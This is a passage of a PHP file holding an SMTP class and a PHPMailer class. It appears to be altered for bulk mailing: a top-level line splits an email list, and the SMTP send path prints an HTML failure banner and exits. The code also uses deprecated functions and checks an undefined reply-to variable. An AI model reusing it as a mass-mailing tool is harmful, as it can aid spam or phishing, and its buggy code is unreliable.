1618
1619 if($code != 250) {
1620 $this->error =
1621 array("error" => "SOML not accepted from server",
1622 "smtp_code" => $code,
1623 "smtp_msg" => substr($rply,4));
1624 if($this->do_debug >= 1) {
1625 echo "SMTP -> ERROR: " . $this->error["error"] .
1626 ": " . $rply . $this->CRLF;
1627 }
1628 return false;
1629 }
1630 return true;
1631 }
1632
1633 /**
1634 * This is an optional command for SMTP that this class does not
1635 * support. This method is here to make the RFC821 Definition
1636 * complete for this class and __may__ be implimented in the future
1637 *
1638 * Implements from rfc 821: TURN <CRLF>
1639 *
1640 * SMTP CODE SUCCESS: 250
1641 * SMTP CODE FAILURE: 502
1642 * SMTP CODE ERROR : 500, 503
1643 * @access public
1644 * @return bool
1645 */
1646 function Turn() {
1647 $this->error = array("error" => "This method, TURN, of the SMTP ".
1648 "is not implemented");
1649 if($this->do_debug >= 1) {
1650 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1651 }
1652 return false;
1653 }
1654
1655 /**
1656 * Verifies that the name is recognized by the server.
1657 * Returns false if the name could not be verified otherwise
1658 * the response from the server is returned.
1659 *
1660 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1661 *
1662 * SMTP CODE SUCCESS: 250,251
1663 * SMTP CODE FAILURE: 550,551,553
1664 * SMTP CODE ERROR : 500,501,502,421
1665 * @access public
1666 * @return int
1667 */
1668 function Verify($name) {
1669 $this->error = null; # so no confusion is caused
1670
1671 if(!$this->connected()) {
1672 $this->error = array(
1673 "error" => "Called Verify() without being connected");
1674 return false;
1675 }
1676
1677 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1678
1679 $rply = $this->get_lines();
1680 $code = substr($rply,0,3);
1681
1682 if($this->do_debug >= 2) {
1683 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1684 }
1685
1686 if($code != 250 && $code != 251) {
1687 $this->error =
1688 array("error" => "VRFY failed on name '$name'",
1689 "smtp_code" => $code,
1690 "smtp_msg" => substr($rply,4));
1691 if($this->do_debug >= 1) {
1692 echo "SMTP -> ERROR: " . $this->error["error"] .
1693 ": " . $rply . $this->CRLF;
1694 }
1695 return false;
1696 }
1697 return $rply;
1698 }
1699
1700 /*******************************************************************
1701 * INTERNAL FUNCTIONS *
1702 ******************************************************************/
1703
1704 /**
1705 * Read in as many lines as possible
1706 * either before eof or socket timeout occurs on the operation.
1707 * With SMTP we can tell if we have more lines to read if the
1708 * 4th character is '-' symbol. If it is a space then we don't
1709 * need to read anything else.
1710 * @access private
1711 * @return string
1712 */
1713 function get_lines() {
1714 $data = "";
1715 while($str = @fgets($this->smtp_conn,515)) {
1716 if($this->do_debug >= 4) {
1717 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1718 $this->CRLF;
1719 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1720 $this->CRLF;
1721 }
1722 $data .= $str;
1723 if($this->do_debug >= 4) {
1724 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1725 }
1726 # if the 4th character is a space then we are done reading
1727 # so just break the loop
1728 if(substr($str,3,1) == " ") { break; }
1729 }
1730 return $data;
1731 }
1732
1733}
1734
1735
1736$allemails = split("\n", $emaillist);
1737$numemails = count($allemails);
1738class PHPMailer {
1739
1740 /////////////////////////////////////////////////
1741 // PROPERTIES, PUBLIC
1742 /////////////////////////////////////////////////
1743
1744 /**
1745 * Email priority (1 = High, 3 = Normal, 5 = low).
1746 * @var int
1747 */
1748 var $Priority = 3;
1749
1750 /**
1751 * Sets the CharSet of the message.
1752 * @var string
1753 */
1754 var $CharSet = 'us-ascii';
1755
1756 /**
1757 * Sets the Content-type of the message.
1758 * @var string
1759 */
1760 var $ContentType = 'text/plain';
1761
1762 /**
1763 * Sets the Encoding of the message. Options for this are "8bit",
1764 * "7bit", "binary", "base64", and "quoted-printable".
1765
1766 * @var string
1767 */
1768 var $Encoding = 'quoted-printable';
1769
1770 /**
1771 * Holds the most recent mailer error message.
1772 * @var string
1773 */
1774 var $ErrorInfo = '';
1775
1776 /**
1777 * Sets the From email address for the message.
1778 * @var string
1779 */
1780 var $From = '';
1781
1782 /**
1783 * Sets the From name of the message.
1784 * @var string
1785 */
1786 var $FromName = '';
1787
1788 /**
1789 * Sets the Sender email (Return-Path) of the message. If not empty,
1790 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1791 * @var string
1792 */
1793 var $Sender = '';
1794
1795 /**
1796 * Sets the Subject of the message.
1797 * @var string
1798 */
1799 var $Subject = '';
1800
1801 /**
1802 * Sets the Body of the message. This can be either an HTML or text body.
1803 * If HTML then run IsHTML(true).
1804 * @var string
1805 */
1806 var $Body = '';
1807
1808 /**
1809 * Sets the text-only body of the message. This automatically sets the
1810 * email to multipart/alternative. This body can be read by mail
1811 * clients that do not have HTML email capability such as mutt. Clients
1812 * that can read HTML will view the normal Body.
1813 * @var string
1814 */
1815 var $AltBody = '';
1816
1817 /**
1818 * Sets word wrapping on the body of the message to a given number of
1819 * characters.
1820 * @var int
1821 */
1822 var $WordWrap = 0;
1823
1824 /**
1825 * Method to send mail: ("mail", "sendmail", or "smtp").
1826 * @var string
1827 */
1828 var $Mailer = 'mail';
1829
1830 /**
1831 * Sets the path of the sendmail program.
1832 * @var string
1833 */
1834 var $Sendmail = '/usr/sbin/sendmail';
1835
1836 /**
1837 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1838 * is in a different directory than the PHP include path.
1839 * @var string
1840 */
1841 var $PluginDir = '';
1842
1843 /**
1844 * Holds PHPMailer version.
1845 * @var string
1846 */
1847 var $Version = "";
1848
1849 /**
1850 * Sets the email address that a reading confirmation will be sent.
1851 * @var string
1852 */
1853 var $ConfirmReadingTo = '';
1854
1855 /**
1856 * Sets the hostname to use in Message-Id and Received headers
1857 * and as default HELO string. If empty, the value returned
1858 * by SERVER_NAME is used or 'localhost.localdomain'.
1859 * @var string
1860 */
1861 var $Hostname = '';
1862
1863 /**
1864 * Sets the message ID to be used in the Message-Id header.
1865 * If empty, a unique id will be generated.
1866 * @var string
1867 */
1868 var $MessageID = '';
1869
1870 /////////////////////////////////////////////////
1871 // PROPERTIES FOR SMTP
1872 /////////////////////////////////////////////////
1873
1874 /**
1875 * Sets the SMTP hosts. All hosts must be separated by a
1876 * semicolon. You can also specify a different port
1877 * for each host by using this format: [hostname:port]
1878 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1879 * Hosts will be tried in order.
1880 * @var string
1881 */
1882 var $Host = 'localhost';
1883
1884 /**
1885 * Sets the default SMTP server port.
1886 * @var int
1887 */
1888 var $Port = 25;
1889
1890 /**
1891 * Sets the SMTP HELO of the message (Default is $Hostname).
1892 * @var string
1893 */
1894 var $Helo = '';
1895
1896 /**
1897 * Sets connection prefix.
1898 * Options are "", "ssl" or "tls"
1899 * @var string
1900 */
1901 var $SMTPSecure = "";
1902
1903 /**
1904 * Sets SMTP authentication. Utilizes the Username and Password variables.
1905 * @var bool
1906 */
1907 var $SMTPAuth = false;
1908
1909 /**
1910 * Sets SMTP username.
1911 * @var string
1912 */
1913 var $Username = '';
1914
1915 /**
1916 * Sets SMTP password.
1917 * @var string
1918 */
1919 var $Password = '';
1920
1921 /**
1922 * Sets the SMTP server timeout in seconds. This function will not
1923 * work with the win32 version.
1924 * @var int
1925 */
1926 var $Timeout = 10;
1927
1928 /**
1929 * Sets SMTP class debugging on or off.
1930 * @var bool
1931 */
1932 var $SMTPDebug = false;
1933
1934 /**
1935 * Prevents the SMTP connection from being closed after each mail
1936 * sending. If this is set to true then to close the connection
1937 * requires an explicit call to SmtpClose().
1938 * @var bool
1939 */
1940 var $SMTPKeepAlive = false;
1941
1942 /**
1943 * Provides the ability to have the TO field process individual
1944 * emails, instead of sending to entire TO addresses
1945 * @var bool
1946 */
1947 var $SingleTo = false;
1948
1949 /////////////////////////////////////////////////
1950 // PROPERTIES, PRIVATE
1951 /////////////////////////////////////////////////
1952
1953 var $smtp = NULL;
1954 var $to = array();
1955 var $cc = array();
1956 var $bcc = array();
1957 var $ReplyTo = array();
1958 var $attachment = array();
1959 var $CustomHeader = array();
1960 var $message_type = '';
1961 var $boundary = array();
1962 var $language = array();
1963 var $error_count = 0;
1964 var $LE = "\n";
1965 var $sign_key_file = "";
1966 var $sign_key_pass = "";
1967
1968 /////////////////////////////////////////////////
1969 // METHODS, VARIABLES
1970 /////////////////////////////////////////////////
1971
1972 /**
1973 * Sets message type to HTML.
1974 * @param bool $bool
1975 * @return void
1976 */
1977 function IsHTML($bool) {
1978 if($bool == true) {
1979 $this->ContentType = 'text/html';
1980 } else {
1981 $this->ContentType = 'text/plain';
1982 }
1983 }
1984
1985 /**
1986 * Sets Mailer to send message using SMTP.
1987 * @return void
1988 */
1989 function IsSMTP() {
1990 $this->Mailer = 'smtp';
1991 }
1992
1993 /**
1994 * Sets Mailer to send message using PHP mail() function.
1995 * @return void
1996 */
1997 function IsMail() {
1998 $this->Mailer = 'mail';
1999 }
2000
2001 /**
2002 * Sets Mailer to send message using the $Sendmail program.
2003 * @return void
2004 */
2005 function IsSendmail() {
2006 $this->Mailer = 'sendmail';
2007 }
2008
2009 /**
2010 * Sets Mailer to send message using the qmail MTA.
2011 * @return void
2012 */
2013 function IsQmail() {
2014 $this->Sendmail = '/var/qmail/bin/sendmail';
2015 $this->Mailer = 'sendmail';
2016 }
2017
2018 /////////////////////////////////////////////////
2019 // METHODS, RECIPIENTS
2020 /////////////////////////////////////////////////
2021
2022 /**
2023 * Adds a "To" address.
2024 * @param string $address
2025 * @param string $name
2026 * @return void
2027 */
2028 function AddAddress($address, $name = '') {
2029 $cur = count($this->to);
2030 $this->to[$cur][0] = trim($address);
2031 $this->to[$cur][1] = $name;
2032 }
2033
2034 /**
2035 * Adds a "Cc" address. Note: this function works
2036 * with the SMTP mailer on win32, not with the "mail"
2037 * mailer.
2038 * @param string $address
2039 * @param string $name
2040 * @return void
2041 */
2042 function AddCC($address, $name = '') {
2043 $cur = count($this->cc);
2044 $this->cc[$cur][0] = trim($address);
2045 $this->cc[$cur][1] = $name;
2046 }
2047
2048 /**
2049 * Adds a "Bcc" address. Note: this function works
2050 * with the SMTP mailer on win32, not with the "mail"
2051 * mailer.
2052 * @param string $address
2053 * @param string $name
2054 * @return void
2055 */
2056 function AddBCC($address, $name = '') {
2057 $cur = count($this->bcc);
2058 $this->bcc[$cur][0] = trim($address);
2059 $this->bcc[$cur][1] = $name;
2060 }
2061
2062 /**
2063 * Adds a "Reply-To" address.
2064 * @param string $address
2065 * @param string $name
2066 * @return void
2067 */
2068 function AddReplyTo($address, $name = '') {
2069 $cur = count($this->ReplyTo);
2070 $this->ReplyTo[$cur][0] = trim($address);
2071 $this->ReplyTo[$cur][1] = $name;
2072 }
2073
2074 /////////////////////////////////////////////////
2075 // METHODS, MAIL SENDING
2076 /////////////////////////////////////////////////
2077
2078 /**
2079 * Creates message and assigns Mailer. If the message is
2080 * not sent successfully then it returns false. Use the ErrorInfo
2081 * variable to view description of the error.
2082 * @return bool
2083 */
2084 function Send() {
2085 $header = '';
2086 $body = '';
2087 $result = true;
2088
2089 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
2090 $this->SetError($this->Lang('provide_address'));
2091 return false;
2092 }
2093
2094 /* Set whether the message is multipart/alternative */
2095 if(!empty($this->AltBody)) {
2096 $this->ContentType = 'multipart/alternative';
2097 }
2098
2099 $this->error_count = 0; // reset errors
2100 $this->SetMessageType();
2101 $header .= $this->CreateHeader();
2102 $body = $this->CreateBody();
2103
2104 if($body == '') {
2105 return false;
2106 }
2107
2108 /* Choose the mailer */
2109 switch($this->Mailer) {
2110 case 'sendmail':
2111 $result = $this->SendmailSend($header, $body);
2112 break;
2113 case 'smtp':
2114 $result = $this->SmtpSend($header, $body);
2115 break;
2116 case 'mail':
2117 $result = $this->MailSend($header, $body);
2118 break;
2119 default:
2120 $result = $this->MailSend($header, $body);
2121 break;
2122 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
2123 //$result = false;
2124 //break;
2125 }
2126
2127 return $result;
2128 }
2129
2130 /**
2131 * Sends mail using the $Sendmail program.
2132 * @access private
2133 * @return bool
2134 */
2135 function SendmailSend($header, $body) {
2136 if ($this->Sender != '') {
2137 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2138 } else {
2139 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
2140 }
2141
2142 if(!@$mail = popen($sendmail, 'w')) {
2143 $this->SetError($this->Lang('execute') . $this->Sendmail);
2144 return false;
2145 }
2146
2147 fputs($mail, $header);
2148 fputs($mail, $body);
2149
2150 $result = pclose($mail);
2151 if (version_compare(phpversion(), '4.2.3') == -1) {
2152 $result = $result >> 8 & 0xFF;
2153 }
2154 if($result != 0) {
2155 $this->SetError($this->Lang('execute') . $this->Sendmail);
2156 return false;
2157 }
2158 return true;
2159 }
2160
2161 /**
2162 * Sends mail using the PHP mail() function.
2163 * @access private
2164 * @return bool
2165 */
2166 function MailSend($header, $body) {
2167
2168 $to = '';
2169 for($i = 0; $i < count($this->to); $i++) {
2170 if($i != 0) { $to .= ', '; }
2171 $to .= $this->AddrFormat($this->to[$i]);
2172 }
2173
2174 $toArr = split(',', $to);
2175
2176 $params = sprintf("-oi -f %s", $this->Sender);
2177 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
2178 $old_from = ini_get('sendmail_from');
2179 ini_set('sendmail_from', $this->Sender);
2180 if ($this->SingleTo === true && count($toArr) > 1) {
2181 foreach ($toArr as $key => $val) {
2182 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
2183 }
2184 } else {
2185 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
2186 }
2187 } else {
2188 if ($this->SingleTo === true && count($toArr) > 1) {
2189 foreach ($toArr as $key => $val) {
2190 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
2191 }
2192 } else {
2193 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
2194 }
2195 }
2196
2197 if (isset($old_from)) {
2198 ini_set('sendmail_from', $old_from);
2199 }
2200
2201 if(!$rt) {
2202 $this->SetError($this->Lang('instantiate'));
2203 return false;
2204 }
2205
2206 return true;
2207 }
2208
2209 /**
2210 * Sends mail via SMTP using PhpSMTP (Author:
2211 * Chris Ryan). Returns bool. Returns false if there is a
2212 * bad MAIL FROM, RCPT, or DATA input.
2213 * @access private
2214 * @return bool
2215 */
2216 function SmtpSend($header, $body) {
2217 $error = '';
2218 $bad_rcpt = array();
2219
2220 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
2221 return false;
2222 }
2223
2224 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
2225 if(!$this->smtp->Mail($smtp_from)) {
2226 $error = $this->Lang('from_failed') . $smtp_from;
2227 $this->SetError($error);
2228 $this->smtp->Reset();
2229 return false;
2230 }
2231
2232 /* Attempt to send attach all recipients */
2233 for($i = 0; $i < count($this->to); $i++) {
2234 if(!$this->smtp->Recipient($this->to[$i][0])) {
2235 $bad_rcpt[] = $this->to[$i][0];
2236 }
2237 }
2238 for($i = 0; $i < count($this->cc); $i++) {
2239 if(!$this->smtp->Recipient($this->cc[$i][0])) {
2240 $bad_rcpt[] = $this->cc[$i][0];
2241 }
2242 }
2243 for($i = 0; $i < count($this->bcc); $i++) {
2244 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
2245 $bad_rcpt[] = $this->bcc[$i][0];
2246 }
2247 }
2248
2249 if(count($bad_rcpt) > 0) { // Create error message
2250 for($i = 0; $i < count($bad_rcpt); $i++) {
2251 if($i != 0) {
2252 $error .= ', ';
2253 }
2254 $error .= $bad_rcpt[$i];
2255
2256 }
2257 $error = $this->Lang('recipients_failed') . $error;
2258 $this->SetError($error);
2259 $this->smtp->Reset();
2260 return false;
2261 }
2262
2263 if(!$this->smtp->Data($header . $body)) {
2264 $this->SetError($this->Lang('data_not_accepted'));
2265 $this->smtp->Reset();
2266 return false;
2267 }
2268 if($this->SMTPKeepAlive == true) {
2269 $this->smtp->Reset();
2270 } else {
2271 $this->SmtpClose();
2272 }
2273
2274 return true;
2275 }
2276
2277 /**
2278 * Initiates a connection to an SMTP server. Returns false if the
2279 * operation failed.
2280 * @access private
2281 * @return bool
2282 */
2283 function SmtpConnect() {
2284 if($this->smtp == NULL) {
2285 $this->smtp = new SMTP();
2286 }
2287
2288 $this->smtp->do_debug = $this->SMTPDebug;
2289 $hosts = explode(';', $this->Host);
2290 $index = 0;
2291 $connection = ($this->smtp->Connected());
2292
2293 /* Retry while there is no connection */
2294 while($index < count($hosts) && $connection == false) {
2295 $hostinfo = array();
2296 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2297 $host = $hostinfo[1];
2298 $port = $hostinfo[2];
2299 } else {
2300 $host = $hosts[$index];
2301 $port = $this->Port;
2302 }
2303
2304 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2305 if ($this->Helo != '') {
2306 $this->smtp->Hello($this->Helo);
2307 } else {
2308 $this->smtp->Hello($this->ServerHostname());
2309 }
2310
2311 $connection = true;
2312 if($this->SMTPAuth) {
2313 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2314 $this->SetError($this->Lang('authenticate'));
2315 $this->smtp->Reset();
2316 $connection = false;
2317 }
2318 }
2319 }
2320 $index++;
2321 }
2322 if(!$connection) {
2323 $this->SetError($this->Lang('connect_host'));
2324 }
2325
2326 return $connection;
2327 }
2328
2329 /**
2330 * Closes the active SMTP session if one exists.
2331 * @return void
2332 */
2333 function SmtpClose() {
2334 if($this->smtp != NULL) {
2335 if($this->smtp->Connected()) {
2336 $this->smtp->Quit();
2337 $this->smtp->Close();
2338 }
2339 }
2340 }
2341
2342 /**
2343 * Sets the language for all class error messages. Returns false
2344 * if it cannot load the language file. The default language type
2345 * is English.
2346 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2347 * @param string $lang_path Path to the language file directory
2348 * @access public
2349 * @return bool
2350 */
2351 function SetLanguage($lang_type, $lang_path = 'language/') {
2352 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2353 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2354 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2355 include($lang_path.'phpmailer.lang-en.php');
2356 } else {
2357 $this->SetError('Could not load language file');
2358 return false;
2359 }
2360 $this->language = $PHPMAILER_LANG;
2361
2362 return true;
2363 }
2364
2365 /////////////////////////////////////////////////
2366 // METHODS, MESSAGE CREATION
2367 /////////////////////////////////////////////////
2368
2369 /**
2370 * Creates recipient headers.
2371 * @access private
2372 * @return string
2373 */
2374 function AddrAppend($type, $addr) {
2375 $addr_str = $type . ': ';
2376 $addr_str .= $this->AddrFormat($addr[0]);
2377 if(count($addr) > 1) {
2378 for($i = 1; $i < count($addr); $i++) {
2379 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2380 }
2381 }
2382 $addr_str .= $this->LE;
2383
2384 return $addr_str;
2385 }
2386
2387 /**
2388 * Formats an address correctly.
2389 * @access private
2390 * @return string
2391 */
2392 function AddrFormat($addr) {
2393 if(empty($addr[1])) {
2394 $formatted = $this->SecureHeader($addr[0]);
2395 } else {
2396 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2397 }
2398
2399 return $formatted;
2400 }
2401
2402 /**
2403 * Wraps message for use with mailers that do not
2404 * automatically perform wrapping and for quoted-printable.
2405 * Original written by philippe.
2406 * @access private
2407 * @return string
2408 */
2409 function WrapText($message, $length, $qp_mode = false) {
2410 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2411 // If utf-8 encoding is used, we will need to make sure we don't
2412 // split multibyte characters when we wrap
2413 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2414
2415 $message = $this->FixEOL($message);
2416 if (substr($message, -1) == $this->LE) {
2417 $message = substr($message, 0, -1);
2418 }
2419
2420 $line = explode($this->LE, $message);
2421 $message = '';
2422 for ($i=0 ;$i < count($line); $i++) {
2423 $line_part = explode(' ', $line[$i]);
2424 $buf = '';
2425 for ($e = 0; $e<count($line_part); $e++) {
2426 $word = $line_part[$e];
2427 if ($qp_mode and (strlen($word) > $length)) {
2428 $space_left = $length - strlen($buf) - 1;
2429 if ($e != 0) {
2430 if ($space_left > 20) {
2431 $len = $space_left;
2432 if ($is_utf8) {
2433 $len = $this->UTF8CharBoundary($word, $len);
2434 } elseif (substr($word, $len - 1, 1) == "=") {
2435 $len--;
2436 } elseif (substr($word, $len - 2, 1) == "=") {
2437 $len -= 2;
2438 }
2439 $part = substr($word, 0, $len);
2440 $word = substr($word, $len);
2441 $buf .= ' ' . $part;
2442 $message .= $buf . sprintf("=%s", $this->LE);
2443 } else {
2444 $message .= $buf . $soft_break;
2445 }
2446 $buf = '';
2447 }
2448 while (strlen($word) > 0) {
2449 $len = $length;
2450 if ($is_utf8) {
2451 $len = $this->UTF8CharBoundary($word, $len);
2452 } elseif (substr($word, $len - 1, 1) == "=") {
2453 $len--;
2454 } elseif (substr($word, $len - 2, 1) == "=") {
2455 $len -= 2;
2456 }
2457 $part = substr($word, 0, $len);
2458 $word = substr($word, $len);
2459
2460 if (strlen($word) > 0) {
2461 $message .= $part . sprintf("=%s", $this->LE);
2462 } else {
2463 $buf = $part;
2464 }
2465 }
2466 } else {
2467 $buf_o = $buf;
2468 $buf .= ($e == 0) ? $word : (' ' . $word);
2469
2470 if (strlen($buf) > $length and $buf_o != '') {
2471 $message .= $buf_o . $soft_break;
2472 $buf = $word;
2473 }
2474 }
2475 }
2476 $message .= $buf . $this->LE;
2477 }
2478
2479 return $message;
2480 }
2481
2482 /**
2483 * Finds last character boundary prior to maxLength in a utf-8
2484 * quoted (printable) encoded string.
2485 * Original written by Colin Brown.
2486 * @access private
2487 * @param string $encodedText utf-8 QP text
2488 * @param int $maxLength find last character boundary prior to this length
2489 * @return int
2490 */
2491 function UTF8CharBoundary($encodedText, $maxLength) {
2492 $foundSplitPos = false;
2493 $lookBack = 3;
2494 while (!$foundSplitPos) {
2495 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2496 $encodedCharPos = strpos($lastChunk, "=");
2497 if ($encodedCharPos !== false) {
2498 // Found start of encoded character byte within $lookBack block.
2499 // Check the encoded byte value (the 2 chars after the '=')
2500 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2501 $dec = hexdec($hex);
2502 if ($dec < 128) { // Single byte character.
2503 // If the encoded char was found at pos 0, it will fit
2504 // otherwise reduce maxLength to start of the encoded char
2505 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2506 $maxLength - ($lookBack - $encodedCharPos);
2507 $foundSplitPos = true;
2508 } elseif ($dec >= 192) { // First byte of a multi byte character
2509 // Reduce maxLength to split at start of character
2510 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2511 $foundSplitPos = true;
2512 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2513 $lookBack += 3;
2514 }
2515 } else {
2516 // No encoded character found
2517 $foundSplitPos = true;
2518 }
2519 }
2520 return $maxLength;
2521 }
2522
2523 /**
2524 * Set the body wrapping.
2525 * @access private
2526 * @return void
2527 */
2528 function SetWordWrap() {
2529 if($this->WordWrap < 1) {
2530 return;
2531 }
2532
2533 switch($this->message_type) {
2534 case 'alt':
2535 /* fall through */
2536 case 'alt_attachments':
2537 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2538 break;
2539 default:
2540 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2541 break;
2542 }
2543 }
2544
2545 /**
2546 * Assembles message header.
2547 * @access private
2548 * @return string
2549 */
2550 function CreateHeader() {
2551 $result = '';
2552
2553 /* Set the boundaries */
2554 $uniq_id = md5(uniqid(time()));
2555 $this->boundary[1] = 'b1_' . $uniq_id;
2556 $this->boundary[2] = 'b2_' . $uniq_id;
2557
2558 $result .= $this->HeaderLine('Date', $this->RFCDate());
2559 if($this->Sender == '') {
2560 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2561 } else {
2562 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2563 }
2564
2565 /* To be created automatically by mail() */
2566 if($this->Mailer != 'mail') {
2567 if(count($this->to) > 0) {
2568 $result .= $this->AddrAppend('To', $this->to);
2569 } elseif (count($this->cc) == 0) {
2570 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2571 }
2572 if(count($this->cc) > 0) {
2573 $result .= $this->AddrAppend('Cc', $this->cc);
2574 }
2575 }
2576
2577 $from = array();
2578 $from[0][0] = trim($this->From);
2579 $from[0][1] = $this->FromName;
2580 $result .= $this->AddrAppend('From', $from);
2581
2582 /* sendmail and mail() extract Cc from the header before sending */
2583 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2584 $result .= $this->AddrAppend('Cc', $this->cc);
2585 }
2586
2587 /* sendmail and mail() extract Bcc from the header before sending */
2588 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2589 $result .= $this->AddrAppend('Bcc', $this->bcc);
2590 }
2591 if($replyto != "")
2592 {
2593 if(count($this->ReplyTo) > 0) {
2594 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2595 }
2596 }
2597 /* mail() sets the subject itself */
2598 if($this->Mailer != 'mail') {
2599 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2600 }
2601
2602 if($this->MessageID != '') {
2603 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2604 } else {
2605 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2606 }
2607 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2608 if($this->ConfirmReadingTo != '') {
2609 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2610 }
2611
2612 // Add custom headers
2613 for($index = 0; $index < count($this->CustomHeader); $index++) {
2614 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2615 }
2616 if (!$this->sign_key_file) {
2617 $result .= $this->HeaderLine('MIME-Version', '1.0');
2618 $result .= $this->GetMailMIME();
2619 }
2620
2621 return $result;
2622 }
2623
2624 /**
2625 * Returns the message MIME.
2626 * @access private
2627 * @return string
2628 */
2629 function GetMailMIME() {
2630 $result = '';
2631 switch($this->message_type) {
2632 case 'plain':
2633 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2634 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2635 break;
2636 case 'attachments':
2637 /* fall through */
2638 case 'alt_attachments':
2639 if($this->InlineImageExists()){
2640 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2641 } else {
2642 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2643 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2644 }
2645 break;
2646 case 'alt':
2647 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2648 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2649 break;
2650 }
2651
2652 if($this->Mailer != 'mail') {
2653 $result .= $this->LE.$this->LE;
2654 }
2655
2656 return $result;
2657 }
2658
2659 /**
2660 * Assembles the message body. Returns an empty string on failure.
2661 * @access private
2662 * @return string
2663 */
2664 function CreateBody() {
2665 $result = '';
2666 if ($this->sign_key_file) {
2667 $result .= $this->GetMailMIME();
2668 }
2669
2670 $this->SetWordWrap();
2671
2672 switch($this->message_type) {
2673 case 'alt':
2674 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2675 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2676 $result .= $this->LE.$this->LE;
2677 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2678 $result .= $this->EncodeString($this->Body, $this->Encoding);
2679 $result .= $this->LE.$this->LE;
2680 $result .= $this->EndBoundary($this->boundary[1]);
2681 break;
2682 case 'plain':
2683 $result .= $this->EncodeString($this->Body, $this->Encoding);
2684 break;
2685 case 'attachments':
2686 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2687 $result .= $this->EncodeString($this->Body, $this->Encoding);
2688 $result .= $this->LE;
2689 $result .= $this->AttachAll();
2690 break;
2691 case 'alt_attachments':
2692 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2693 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2694 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2695 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2696 $result .= $this->LE.$this->LE;
2697 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2698 $result .= $this->EncodeString($this->Body, $this->Encoding);
2699 $result .= $this->LE.$this->LE;
2700 $result .= $this->EndBoundary($this->boundary[2]);
2701 $result .= $this->AttachAll();
2702 break;
2703 }
